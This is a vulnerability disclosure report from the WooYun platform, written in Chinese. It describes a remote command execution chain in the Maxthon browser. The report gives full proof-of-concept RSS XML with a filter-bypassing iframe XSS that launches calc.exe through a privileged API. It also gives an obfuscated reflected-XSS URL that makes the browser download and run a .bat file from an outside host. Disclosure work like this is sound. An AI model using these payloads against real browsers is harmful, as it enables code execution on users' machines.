当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-082227

漏洞标题:傲游浏览器远程命令执行漏洞二

相关厂商:傲游

漏洞作者: gainover

提交时间:2014-11-06 11:50

修复时间:2015-02-04 11:52

公开时间:2015-02-04 11:52

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-06: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经确认,细节仅向厂商公开
2014-11-09: 细节向第三方安全合作伙伴开放
2014-12-31: 细节向核心白帽子及相关领域专家公开
2015-01-10: 细节向普通白帽子公开
2015-01-20: 细节向实习白帽子公开
2015-02-04: 细节向公众公开

简要描述:

上一个漏洞,厂商回复说,只报XSS就可以了,但是关键点显然不在于XSS,如果你们真的只是“针对性的”修了XSS,以你们现在的权限隔离机制,以及功能体验和安全防护间的“冲突”是很容易再次导致问题的。

详细说明:

本文的大前提:
假定真如厂商所回复的那样,只修复了上文中的XSS。
接着是本文:
--------------------------------------------------------------
0x01 获得特权域XSS
--------------------------------------------------------------
傲游浏览器有一个RSS reader的功能,其实前面的报告者已经用到过这个功能。
见: WooYun: 傲游云浏览器远程命令执行漏洞
在这个漏洞中,“浏览器在处理 xml 内容的时候对 title、description,没有过滤。添加后就会执行嵌入的代码。”,于是傲游对此做了修复措施,会对title和description做出过滤。
我们来看看傲游是如何过滤的呢?, 我们编写以下代码:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>wooyun.org 最新提交漏洞</title>
<link>http://www.wooyun.org</link>
<ttl>5</ttl>
<description>wooyun.org</description>
<language>zh-cn</language>
<generator>www.wooyun.org</generator>
<webmaster>webmaster@wooyun.org</webmaster>
<item>
<link> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </link>
<title><![CDATA[苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞]]></title>
<description><![CDATA[<strong><img src=1 onerror=alert(1) />简要描述:</strong><br/>苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞<br/><strong>详细说明:</strong><br/>暂未公开<br/><br/><strong><a href=" WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 " target="_blank">更多内容 &gt;&gt;</a></strong>]]></description>
<pubDate>Wed, 05 Nov 2014 15:38:18 +0800</pubDate>
<category></category>
<author>路人甲</author>
<guid> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </guid>
</item>
</channel>
</rss>


效果如下图所示:

1.jpg


可以看到,这里将 onerror 过滤成了 on_error,不难看出,这里的过滤并没有对 description做出“毁灭性”的过滤,即过滤 < 和 >;而是采用了富文本的过滤策略。
那么傲游是怎么过滤的呢?这种过滤机制,是在浏览器内置API进行的还是在JS里实现的呢?
通过对页面内JS代码的查看,我找到了以下内容:

2.jpg


可以看到傲游是在JS里通过正则表达式对内容进行过滤的,
我们的 onerror被过滤成 on_error是通过以下正则实现的:

z = z.replace(/(<\S[^>]+on)([a-z]{1,16}?)\s*=/ig, "$1_$2=").replace(/(<a[^>]+)href\s*=(['"]?\s*javascript:)/ig, '$1 href="#" h_ref=$2');


以前测富文本过滤,都是“黑盒”去猜测,现在过滤的正则都摆在眼前了,而且只有这么几条正则,难道还绕不过?定睛几秒,就发现<iframe>标签都没被过滤,因此我们可以很容易实现XSS。

<iframe src="javascript:alert(1)" />


效果如下:

3.jpg


嗯,这样一来,我们就获得了一个特权域XSS,当我们访问http://192.168.1.13/mx/poc3.xml,傲游会自动跳向以下地址,并执行我们的XSS代码:

mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml


4.jpg


--------------------------------------------------------------
0x02 利用傲游的权限隔离设计缺陷,可实现跨域调用API
--------------------------------------------------------------
傲游对不同的页面,给予了不同的权限:
比如:
mx://res/notification/ 该路径下页面允许访问 maxthon.program

5.jpg


但是,
mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml 路径下则不允许访问 maxthon.program
这种设计是有问题的,因为
两页页面的 protocol 都是 mx ,domain 都是 res,
所以两个页面是可以iframe嵌入后进行互相通信的,即,我们在 mx://res/app/%7B4F562E60-F24B-4728-AFDB-DA55CE1597FE%7D/preview.htm?http://192.168.1.13/mx/poc3.xml 页面通过iframe嵌入 mx://res/notification/ 后,即可通过 contentWindow.maxthon.program 来调用 program的API。

7.jpg


--------------------------------------------------------------
0x03 综上,调用计算器测试
--------------------------------------------------------------
结合以上分析,不难构建以下 xml 代码:

<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title>wooyun.org 最新提交漏洞</title>
<link>http://www.wooyun.org</link>
<ttl>5</ttl>
<description>wooyun.org</description>
<language>zh-cn</language>
<generator>www.wooyun.org</generator>
<webmaster>webmaster@wooyun.org</webmaster>
<item>
<link> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </link>
<title><![CDATA[苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞]]></title>
<description><![CDATA[<strong><iframe name='var%20s%3Ddocument.createElement%28%22iframe%22%29%3Bs.src%3D%22mx%3A//res/notification/%22%3Bs.onload%3Dfunction%28%29%7Bs.contentWindow.maxthon.program.Program.launch%28%22C%3A/windows/system32/calc.exe%22%2C%22%22%29%7D%3Bdocument.body.appendChild%28s%29%3B' src="javascript:eval(unescape(window.name));void 0; "/>简要描述:</strong><br/>苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞<br/><strong>详细说明:</strong><br/>暂未公开<br/><br/><strong><a href=" WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 " target="_blank">更多内容 &gt;&gt;</a></strong>]]></description>
<pubDate>Wed, 05 Nov 2014 15:38:18 +0800</pubDate>
<category></category>
<author>路人甲</author>
<guid> WooYun: 苏宁易购某网站全网号码存在任意登录、短信轰炸、绕过验证码的漏洞 </guid>
</item>
</channel>
</rss>


用户访问恶意构造的xml: http://xsst.sinaapp.com/test/mxpoc.xml, 效果如下图:

8.jpg


--------------------------------------------------------------
0x04 如果,你们不修 external.mxCall的话。。。。
--------------------------------------------------------------
那么就会有以下内容,找一个maxthon.cn域下的XSS,执行以下代码。
external.mxCall('InstallSkin', "http://xsst.sinaapp.com/test/mx.bat");
setTimeout(function(){
location.href='http://xsst.sinaapp.com/test/mxpocbat.xml';
},1000);
这里我GOOGLE搜索了到了一个(傲游没XSS过滤器啦,找个反射型还是比较容易的)用于演示:
http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada

漏洞证明:

访问以下页面, 观看计算器:
http://xsst.sinaapp.com/test/mxpoc.xml
访问以下页面,观看批处理:
http://sso.maxthon.cn/quit.php?host=www.007.mx%bf\'.replace(/.*/,/javascript:eval(String.fromCharCode(101,120,116,101,114,110,97,108,46,109,120,67,97,108,108,40,39,73,110,115,116,97,108,108,83,107,105,110,39,44,32,32,34,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,46,98,97,116,34,41,59,13,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,13,32,32,32,32,32,32,108,111,99,97,116,105,111,110,46,104,114,101,102,61,39,104,116,116,112,58,47,47,120,115,115,116,46,115,105,110,97,97,112,112,46,99,111,109,47,116,101,115,116,47,109,120,112,111,99,98,97,116,46,120,109,108,39,59,13,125,44,49,53,48,48,41,59));/.source);}//&url=/login.php\'?ac=dada

修复方案:

1.修XSS (富文本过滤,黑名单不安全,尤其似乎你们的过滤代码还是摆在我们眼皮底下的时候,本文的iframe标签只是绕过方式之一)
2.不要只是修XSS

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-11-06 12:33

厂商回复:

感谢报告,希望继续支持傲游

最新状态:

2014-11-06:也很高兴大家能够关心傲游,不仅仅是从产品层面。